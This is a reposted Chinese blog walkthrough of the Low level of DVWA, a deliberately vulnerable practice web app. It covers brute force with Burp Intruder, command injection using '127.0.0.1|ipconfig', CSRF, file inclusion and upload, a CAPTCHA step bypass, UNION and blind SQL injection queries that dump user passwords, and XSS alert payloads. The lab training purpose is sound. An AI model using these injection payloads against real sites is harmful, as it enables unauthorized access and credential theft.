欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > IT业 > DVWA_GUN

DVWA_GUN

2025/2/13 22:23:28 来源:https://blog.csdn.net/SY_China27/article/details/145478315  浏览:    关键词:DVWA_GUN

LOW

Brute Force

随便输入一组用户名和密码

在这里插入图片描述

登录抓包

在这里插入图片描述

在页面内右键把包放到intrude测试器模块,双击用户名和密码,并点击add,变为有效载荷

在这里插入图片描述

攻击类型选择集束炸弹模式
在这里插入图片描述

\

ps:


Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破


导入两个字典,开始爆破,

字典跑完后,点击“长”使其按顺序或逆序排列,查看返回的数字,发现有数字和其他大多数数字不同即代表攻击成功
在这里插入图片描述

\

成功
在这里插入图片描述

Command Injection

输入本机IP地址后,出现了乱码

在这里插入图片描述

在文件中改一下编码

D:\phpstudy_pro\WWW\DVWA\dvwa\includes中打开dvwaPage.inc.php

把UTF-8改成GBK

看源码

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>";
}?>

shell_exec函数是执行系统指令,后面是执行ping指令

只让执行ping指令

可以试一试在ping指令后面添加其他指令,实现命令行注入


命令连接符

a && b :代表首先执行前者命令a再执行后命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。(前面的命令执行成功后,它后面的命令才被执行)

a & b:代表首先执行命令a再执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰。(表示简单的拼接,A命令语句和B命令语句没有制约关系)

a || b:代表首先执行a命令再执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。(前面的命令执行失败,它后面的命令才被执行)

a | b:代表首先执行a命令,再执行b命令,不管a命令成功与否,都会去执行b命令。(当第一条命令失败时,它仍然会执行第二条命令,表示A命令语句的输出,作为b命令语句的输入执行。)


cd:用于切换目录
dir:查看当前目录下的文件和文件夹
ipconifg:查看网络配置信息
ping:测试网络连接
tasklist:列出正在运行的进程
systemminfo:显示计算机的详细信息
regedit:打开注册表编辑器

选择127.0.0.1|ipconfig

CSRF

输入密码,进行更改后发现,上方地址栏有回显

在这里插入图片描述

查看源码

在这里插入图片描述

源码中只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,

可以直接在url处更改密码

File Inclusion

源代码

<?php// The page we wish to display
$file = $_GET[ 'page' ];?>

无过滤,直接get上传php文件(一句话木马)

在这里插入图片描述

File Upload

直接上传,发现成功了

在这里插入图片描述

Insecure CAPTCHA

源代码

<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the user$html .= "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end user$html .= "<pre>Password Changed.</pre>";}else {// Issue with the passwords matching$html .= "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

修改密码分成了两步,step=1和step=2

分析代码可知,step=1是检查用户输入的验证码,验证通过后进行第二步,第二步post传参,完成修改密码

代码及能通过change和step的参数来判断验证码是否正确,这样就可以通过抓包来手动改变step参数的值

在这里插入图片描述

成功

在这里插入图片描述

SQL Injection

1.判断有没有注入点,直接在输入框中输入1,观察页面是否有变化,要是有变化就证明有注入点

2.判断是字符型还是数字型,输入1=2,观察页面变化,发现没有变化,说明是字符型

3.判断闭合方式,在1后面加上英文单引号,观察页面变化,

之后再加#号注释掉,发现没有报错了

4.用order by判断字段数,观察页面变化

发现报错,改为1’order by 2#试一试

页面正常,说明字段数是2

5.用union联合注入来查询回显位置

1和2都可以正常回显

查询数据库名和版本号

1' union select database(),version() #

6.获取dvwa库的所有表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #

7.查询users表,也就是查询user表里面的字段

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #

8.查询user和password字段里面的值

1' union select user,password from users #

SQL Injection(Blind)

基础步骤和上文一样,不同的输入页面有两种显示,是布尔盲注

用ascii码值来判断真假

输入,判断dvwa,第一个字母是d,所以是100,以此类推1' and ascii(substr(database(),1,1))=100 #
获取表名,获取字段,获取字段值输入1' and ascii(substr(x,1,1))=y #x是输入查询的语句,和上一关一样y是ascii值,需要一步步查看

XSS(DOM)

在这里插入图片描述

可以在此处进行输入js代码

<script>alert(1)</script>

XSS(Reflected)

和上一关一样的js代码

<script>alert(1)</script>

XSS(Stored)

在留言框输入js代码

<script>alert(1)</script>

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com